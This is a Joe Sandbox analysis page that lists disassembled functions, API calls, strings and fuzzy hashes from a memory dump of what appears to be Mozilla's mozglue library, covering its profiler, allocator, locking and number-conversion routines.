Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: 4231e0a11399b0c4c4868549376d3a8248ead0c0779888b87e3bcf2687763d52
Instruction ID: 1de2c175628950b3e8329f3e1e164063d893c19d0b58e369796bb8960a16bb0a
Opcode Fuzzy Hash: 4231e0a11399b0c4c4868549376d3a8248ead0c0779888b87e3bcf2687763d52
Instruction Fuzzy Hash: E171F370A00746AFDB04CF28D4547AABBB1FF96304F144669D8156BB41D770F6A8CBE2

Function 6C9BB0C0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 188COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,6C9BB0A6,6C9BB0A6,?,6C9BAF67,?,00000010,?,6C9BAF67,?,00000010,00000000,?,?,6C9BAB1F), ref: 6C9BB1F2
?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,6C9BB0A6,6C9BB0A6,?,6C9BAF67,?,00000010,?,6C9BAF67,?,00000010,00000000,?), ref: 6C9BB1FF
free.MOZGLUE(?,?,?,map/set<T> too long,?,?,6C9BB0A6,6C9BB0A6,?,6C9BAF67,?,00000010,?,6C9BAF67,?,00000010), ref: 6C9BB25F

Strings

map/set<T> too long, xrefs: 6C9BB1FA

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free$Xlength_error@std@@
String ID: map/set<T> too long
API String ID: 1922495194-1285458680
Opcode ID: 4e0aefa0776b7e292eb929419ec296662936d41e262a54c020957fd4fa223757
Instruction ID: 4a4603a7d1e5e7d7421034512c898cbe4ec187cd7a755dd276200a9e6f48cd4c
Opcode Fuzzy Hash: 4e0aefa0776b7e292eb929419ec296662936d41e262a54c020957fd4fa223757
Instruction Fuzzy Hash: 16619B34A04645AFD701CF19C8C0AAABBF5FF5A318F18C199D8596BB92C331ED45CBA1

Function 6C97D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C98CBE8: GetCurrentProcess.KERNEL32(?,6C9531A7), ref: 6C98CBF1
Part of subcall function 6C98CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9531A7), ref: 6C98CBFA

EnterCriticalSection.KERNEL32(6C9DE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C98D1C5), ref: 6C97D4F2
LeaveCriticalSection.KERNEL32(6C9DE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C98D1C5), ref: 6C97D50B

Part of subcall function 6C95CFE0: EnterCriticalSection.KERNEL32(6C9DE784), ref: 6C95CFF6
Part of subcall function 6C95CFE0: LeaveCriticalSection.KERNEL32(6C9DE784), ref: 6C95D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C98D1C5), ref: 6C97D52E
EnterCriticalSection.KERNEL32(6C9DE7DC), ref: 6C97D690
LeaveCriticalSection.KERNEL32(6C9DE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C98D1C5), ref: 6C97D751

Strings

MOZ_CRASH(), xrefs: 6C97D4BB

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 0b7aa2efba07af118b59c0234a96f7df558bdb328f82750e82ae65621693f3d9
Instruction ID: f9f543cec5f736f840e44c4afaa4b3c93be4990638b3fcf7df3b732be643161b
Opcode Fuzzy Hash: 0b7aa2efba07af118b59c0234a96f7df558bdb328f82750e82ae65621693f3d9
Instruction Fuzzy Hash: 3251E472A09B018FD364CF28C49461AB7F5EF89704F658A2ED59AD7F84D770E840CBA1

Function 6C9A4630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C9A4721

Strings

profiler-paused, xrefs: 6C9A46E4
-%llu, xrefs: 6C9A4733
., xrefs: 6C9A476A

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 7d1a4bc01b6cbc658f199ac67f253fe15ef784f79cf080546d57d987c6a64946
Instruction ID: 67011499d8f742636df381e94102677f708fd7904b0e273f046bf3f9743fba7a
Opcode Fuzzy Hash: 7d1a4bc01b6cbc658f199ac67f253fe15ef784f79cf080546d57d987c6a64946
Instruction Fuzzy Hash: E8415972E087089BCB08DFB8D85115EBBF5EF95748F20863EE85567B91EB30D8458B42

Function 6C9C9830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C9C985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C9C987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6C9C98DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6C9C98D9

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: 40dd1b8b40d3e8ede8825237144d63a6a122664f827e3f8db5bd0293336436b1
Instruction ID: 2cf4ae1a34839c51d96f1ec3af381cdd371011078c8e76c7a7e0d3eb52ce9f3d
Opcode Fuzzy Hash: 40dd1b8b40d3e8ede8825237144d63a6a122664f827e3f8db5bd0293336436b1
Instruction Fuzzy Hash: 0B310A71B002089FDB14AF59DC455EE77A9DF54718F50846DEA06ABB80DB31E904CBD2

Function 6C9A46E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C9A4721

Part of subcall function 6C954410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C993EBD,00000017,?,00000000,?,6C993EBD,?,?,6C9542D2), ref: 6C954444

Strings

profiler-paused, xrefs: 6C9A46E4
-%llu, xrefs: 6C9A4733
., xrefs: 6C9A476A

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 8e513062b929a89b54a85ed2350b4cdaffecbb1bd69503736628948df1c82039
Instruction ID: 1bec9da7a1a0f8f8537b0094bf35a97c28dd057798e076457a247e29aed8c295
Opcode Fuzzy Hash: 8e513062b929a89b54a85ed2350b4cdaffecbb1bd69503736628948df1c82039
Instruction Fuzzy Hash: C2313971F043084BCB0CCFACD8812ADBBE6DB99714F55853EE8059BB41EB70D9458B51

Function 6C9AB410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C954290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C993EBD,6C993EBD,00000000), ref: 6C9542A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C9AB127), ref: 6C9AB463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9AB4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C9AB4E4

Strings

pid:, xrefs: 6C9AB4DE

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: d02b22acb0bc9cdb789ad10cc11b9f0c9a6c4aa96de36fec541bba084984be0b
Instruction ID: 7d39cca18616ff65ba02868df991634079e195447791591a041a36154c5c891f
Opcode Fuzzy Hash: d02b22acb0bc9cdb789ad10cc11b9f0c9a6c4aa96de36fec541bba084984be0b
Instruction Fuzzy Hash: A3312131A0120CDFDB00DFE9D880AEEB7B9FF05318F540529D90167A81D732E88ACBA1

Function 6C99E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C99E577
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99E584
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C99E8A6

Strings

MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C99E826, 6C99E850
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C99E777
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C99E722, 6C99E750, 6C99E7A2
MOZ_PROFILER_STARTUP, xrefs: 6C99E5A1, 6C99E5CC, 6C99E5FF, 6C99E62A
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C99E655

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: cff65f50e53103f362ce9ba93de695206569c6997d784dd6d3388b9ab68587f9
Instruction ID: 8ce947244d5cbc10c64b9c5882184560a2a2ae75396da08a335d8b8f0829866d
Opcode Fuzzy Hash: cff65f50e53103f362ce9ba93de695206569c6997d784dd6d3388b9ab68587f9
Instruction Fuzzy Hash: E211A131608B54DFCB009F15C849B59BBB8FB8932DF254519E94567A50C770F884CBD1

Function 6C9A0C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C9A0CD5

Part of subcall function 6C98F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C98F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C9A0D40
free.MOZGLUE ref: 6C9A0DCB

Part of subcall function 6C975E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C975EDB
Part of subcall function 6C975E90: memset.VCRUNTIME140(6C9B7765,000000E5,55CCCCCC), ref: 6C975F27
Part of subcall function 6C975E90: LeaveCriticalSection.KERNEL32(?), ref: 6C975FB2

free.MOZGLUE ref: 6C9A0DDD
free.MOZGLUE ref: 6C9A0DF2

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 0d978a4cfd0547df25233c8c2ea475f30d0db58acc2b2a11a62c3ee0755f98d6
Instruction ID: 8b6228db4b23bef3e1e6a4d1db5b717f2f806b281f9c4a3e2c91d2a6705c6c9f
Opcode Fuzzy Hash: 0d978a4cfd0547df25233c8c2ea475f30d0db58acc2b2a11a62c3ee0755f98d6
Instruction Fuzzy Hash: 8A413572A097809BD320CF29C08039EFBE5BF98614F119A2EE8D987B50D770E445CB82

Function 6C990800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE7DC), ref: 6C990838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C99084C
EnterCriticalSection.KERNEL32(?), ref: 6C9908AF
LeaveCriticalSection.KERNEL32(?), ref: 6C9908BD
LeaveCriticalSection.KERNEL32(6C9DE7DC), ref: 6C9908D5

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: 847f76282d066539a08ffb6f0fd6e8202346187db3a98a0fe5eb6cef1808141d
Instruction ID: 5d66724608351e1b8e152e020084574ade333fcedd537deb69491c5a7c919f5d
Opcode Fuzzy Hash: 847f76282d066539a08ffb6f0fd6e8202346187db3a98a0fe5eb6cef1808141d
Instruction Fuzzy Hash: EB21B331B0564A9BEB048F66D844BAEB779AF49708F680568D519B7A40DB32E844CBD0

Function 6C9ACCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C99DA31,00100000,?,?,00000000,?), ref: 6C9ACDA4

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

Part of subcall function 6C9AD130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C9ACDBA,00100000,?,00000000,?,6C99DA31,00100000,?,?,00000000,?), ref: 6C9AD158
Part of subcall function 6C9AD130: InitializeConditionVariable.KERNEL32(00000098,?,6C9ACDBA,00100000,?,00000000,?,6C99DA31,00100000,?,?,00000000,?), ref: 6C9AD177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C99DA31,00100000,?,?,00000000,?), ref: 6C9ACDC4

Part of subcall function 6C9A7480: ReleaseSRWLockExclusive.KERNEL32(?,6C9B15FC,?,?,?,?,6C9B15FC,?), ref: 6C9A74EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C99DA31,00100000,?,?,00000000,?), ref: 6C9ACECC

Part of subcall function 6C96CA10: mozalloc_abort.MOZGLUE(?), ref: 6C96CAA2

Part of subcall function 6C99CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C9ACEEA,?,?,?,?,00000000,?,6C99DA31,00100000,?,?,00000000), ref: 6C99CB57
Part of subcall function 6C99CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C99CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C9ACEEA,?,?), ref: 6C99CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C99DA31,00100000,?,?,00000000,?), ref: 6C9AD058

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 21ab459e2694be5d92007f9fc188c5177eff413676b63e37775e5b056bf0d785
Instruction ID: e13b5ba873cb11a38f191cfca532ba899a9c01f1d82dbc39d27802f7eb277510
Opcode Fuzzy Hash: 21ab459e2694be5d92007f9fc188c5177eff413676b63e37775e5b056bf0d785
Instruction Fuzzy Hash: ECD16F71A04B56DFD708CF28C4807A9F7E1BF99308F05862DD8598B751EB31E9A5CB81

Function 6C961720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C9617B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C9618EE
free.MOZGLUE(?), ref: 6C961911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C96194C

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 12d6be15841c6c0ece9b719a04f1b84cbad1ca020cf3b534e317b819b391aeff
Instruction ID: e1d8d6752d8c89da296225dcf8104f89744ad6ff8dd53e8bf47747fb72a66d02
Opcode Fuzzy Hash: 12d6be15841c6c0ece9b719a04f1b84cbad1ca020cf3b534e317b819b391aeff
Instruction Fuzzy Hash: A181E770A152059FDB08CF69D8D45BEBBB1FF8A310F04456DE811ABB90D730E854CBA2

Function 6C975C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C975D40
EnterCriticalSection.KERNEL32(6C9DF688), ref: 6C975D67
__aulldiv.LIBCMT ref: 6C975DB4
LeaveCriticalSection.KERNEL32(6C9DF688), ref: 6C975DED

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 1848d507069d5ab967d3f2ef7fb882371dae29ac8d10ad724a742759ff74307b
Instruction ID: 1f87f39f8e3ef7c84aa57ec3eef4dbb2e3f64417e9166057b9da5a500d700b55
Opcode Fuzzy Hash: 1848d507069d5ab967d3f2ef7fb882371dae29ac8d10ad724a742759ff74307b
Instruction Fuzzy Hash: 77518D71E055198FCF08CF68C955BAEBBB1FB89308F298619D811B7B50C730B985CB90

Function 6C95CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C95CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C95CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C95CF4E

Strings

0, xrefs: 6C95CF30

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 0e851ffa705033111940aa1c33e4e3d91d700d23ea7ee9f0b9783dfe3b6a0d03
Instruction ID: dc4f0ea235c2803fa0aad74319c0a12519226d35278ffde2eabba60f27fc35f0
Opcode Fuzzy Hash: 0e851ffa705033111940aa1c33e4e3d91d700d23ea7ee9f0b9783dfe3b6a0d03
Instruction Fuzzy Hash: CE510375A042568FCB00CF18C890A9ABBB5EF99300F19859DDC595F751D731ED16CBE0

Function 6C9B77D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9B77FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C9B7829

Part of subcall function 6C98CC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C9531A7), ref: 6C98CC45
Part of subcall function 6C98CC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C9531A7), ref: 6C98CC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C9B789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C9B78CF

Part of subcall function 6C954DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C954E5A
Part of subcall function 6C954DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C954E97

Part of subcall function 6C954290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C993EBD,6C993EBD,00000000), ref: 6C9542A9

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: caf3e7704822f2addaf2677514d346225285f95a206d5c06274acda0d33bd75b
Instruction ID: f052142582ff73968bc6d3a7b89b9dc90c6ff24a43dcf738ae1e8fc1bf822f00
Opcode Fuzzy Hash: caf3e7704822f2addaf2677514d346225285f95a206d5c06274acda0d33bd75b
Instruction Fuzzy Hash: 2241A171904B469BD300DF29C48056BFBF4FF9A254F604B2EE4A997680DB30E559CB92

Function 6C996470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C9982BC,?,?), ref: 6C99649B

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9964A9

Part of subcall function 6C98FA80: GetCurrentThreadId.KERNEL32 ref: 6C98FA8D
Part of subcall function 6C98FA80: AcquireSRWLockExclusive.KERNEL32(6C9DF448), ref: 6C98FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C99653F
free.MOZGLUE(?), ref: 6C99655A

Memory Dump Source

